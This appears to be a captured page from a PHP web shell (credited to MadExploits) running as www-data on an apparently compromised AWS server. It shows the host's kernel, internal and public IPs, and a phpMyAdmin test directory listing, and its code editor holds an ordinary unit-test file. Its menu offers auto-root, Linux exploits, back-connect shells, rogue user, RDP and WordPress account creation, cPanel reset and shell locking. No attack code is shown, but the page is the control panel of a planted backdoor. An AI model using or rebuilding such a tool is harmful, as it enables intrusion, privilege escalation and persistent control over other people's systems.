Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.226.181.223
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SqlQueryFormTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\Bookmarks\BookmarkRepository; use PhpMyAdmin\Config; use PhpMyAdmin\ConfigStorage\Relation; use PhpMyAdmin\ConfigStorage\RelationParameters; use PhpMyAdmin\Current; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Encoding; use PhpMyAdmin\Html\MySQLDocumentation; use PhpMyAdmin\SqlQueryForm; use PhpMyAdmin\Template; use PhpMyAdmin\Tests\Stubs\DbiDummy; use PhpMyAdmin\Url; use PHPUnit\Framework\Attributes\CoversClass; use ReflectionProperty; use function __; use function htmlspecialchars; #[CoversClass(SqlQueryForm::class)] class SqlQueryFormTest extends AbstractTestCase { protected DatabaseInterface $dbi; protected DbiDummy $dummyDbi; private SqlQueryForm $sqlQueryForm; /** * Test for setUp */ protected function setUp(): void { parent::setUp(); $this->setLanguage(); $this->dummyDbi = $this->createDbiDummy(); $this->dummyDbi->addResult( 'SHOW FULL COLUMNS FROM `PMA_db`.`PMA_table`', [['field1', '', null, 'NO', '', null, '', '', 'Comment1']], ['Field', 'Type', 'Collation', 'Null', 'Key', 'Default', 'Extra', 'Privileges', 'Comment'], ); $this->dummyDbi->addResult( 'SHOW INDEXES FROM `PMA_db`.`PMA_table`', [], ); $this->dbi = $this->createDatabaseInterface($this->dummyDbi); DatabaseInterface::$instance = $this->dbi; $relation = new Relation($this->dbi); $bookmarkRepository = new BookmarkRepository($this->dbi, $relation); $this->sqlQueryForm = new SqlQueryForm(new Template(), $this->dbi, $bookmarkRepository); //$GLOBALS Current::$database = 'PMA_db'; Current::$table = 'PMA_table'; $config = Config::getInstance(); $config->settings['GZipDump'] = false; $config->settings['BZipDump'] = false; $config->settings['ZipDump'] = false; $config->settings['ServerDefault'] = 'default'; $config->settings['TextareaAutoSelect'] = true; $config->settings['TextareaRows'] = 100; $config->settings['TextareaCols'] = 11; $config->settings['DefaultTabDatabase'] = 'structure'; $config->settings['RetainQueryBox'] = true; $config->settings['ActionLinksMode'] = 'both'; $config->settings['DefaultTabTable'] = 'browse'; $config->settings['CodemirrorEnable'] = true; $config->settings['DefaultForeignKeyChecks'] = 'default'; $relationParameters = RelationParameters::fromArray([ 'table_coords' => 'table_name', 'displaywork' => true, 'db' => 'information_schema', 'table_info' => 'table_info', 'relwork' => true, 'relation' => 'relation', ]); (new ReflectionProperty(Relation::class, 'cache'))->setValue(null, $relationParameters); $config->selectedServer['user'] = 'user'; $config->selectedServer['pmadb'] = 'pmadb'; $config->selectedServer['bookmarktable'] = 'bookmarktable'; } /** * Test for getHtmlForInsert */ public function testPMAGetHtmlForSqlQueryFormInsert(): void { //Call the test function $query = 'select * from PMA'; $html = $this->sqlQueryForm->getHtml('PMA_db', 'PMA_table', $query); //validate 1: query self::assertStringContainsString( htmlspecialchars($query), $html, ); //validate 2: enable auto select text in textarea $autoSel = ' data-textarea-auto-select="true"'; self::assertStringContainsString($autoSel, $html); //validate 3: MySQLDocumentation::show self::assertStringContainsString( MySQLDocumentation::show('SELECT'), $html, ); //validate 4: $fields_list self::assertStringContainsString('<input type="button" value="DELETE" id="delete"', $html); self::assertStringContainsString('<input type="button" value="UPDATE" id="update"', $html); self::assertStringContainsString('<input type="button" value="INSERT" id="insert"', $html); self::assertStringContainsString('<input type="button" value="SELECT" id="select"', $html); self::assertStringContainsString('<input type="button" value="SELECT *" id="selectall"', $html); //validate 5: Clear button self::assertStringContainsString('<input type="button" value="DELETE" id="delete"', $html); self::assertStringContainsString( __('Clear'), $html, ); } /** * Test for getHtml */ public function testPMAGetHtmlForSqlQueryForm(): void { //Call the test function $GLOBALS['lang'] = 'ja'; $query = 'select * from PMA'; $html = $this->sqlQueryForm->getHtml('PMA_db', 'PMA_table', $query); //validate 1: query self::assertStringContainsString( htmlspecialchars($query), $html, ); //validate 2: $enctype $enctype = ' enctype="multipart/form-data">'; self::assertStringContainsString($enctype, $html); //validate 3: sqlqueryform self::assertStringContainsString('id="sqlqueryform" name="sqlform"', $html); //validate 4: $db, $table $table = Current::$table; $db = Current::$database; self::assertStringContainsString( Url::getHiddenInputs($db, $table), $html, ); //validate 5: $goto $goto = empty($GLOBALS['goto']) ? Url::getFromRoute('/table/sql') : $GLOBALS['goto']; self::assertStringContainsString( htmlspecialchars($goto), $html, ); //validate 6: Kanji encoding form self::assertStringContainsString( Encoding::kanjiEncodingForm(), $html, ); $GLOBALS['lang'] = 'en'; } }
Close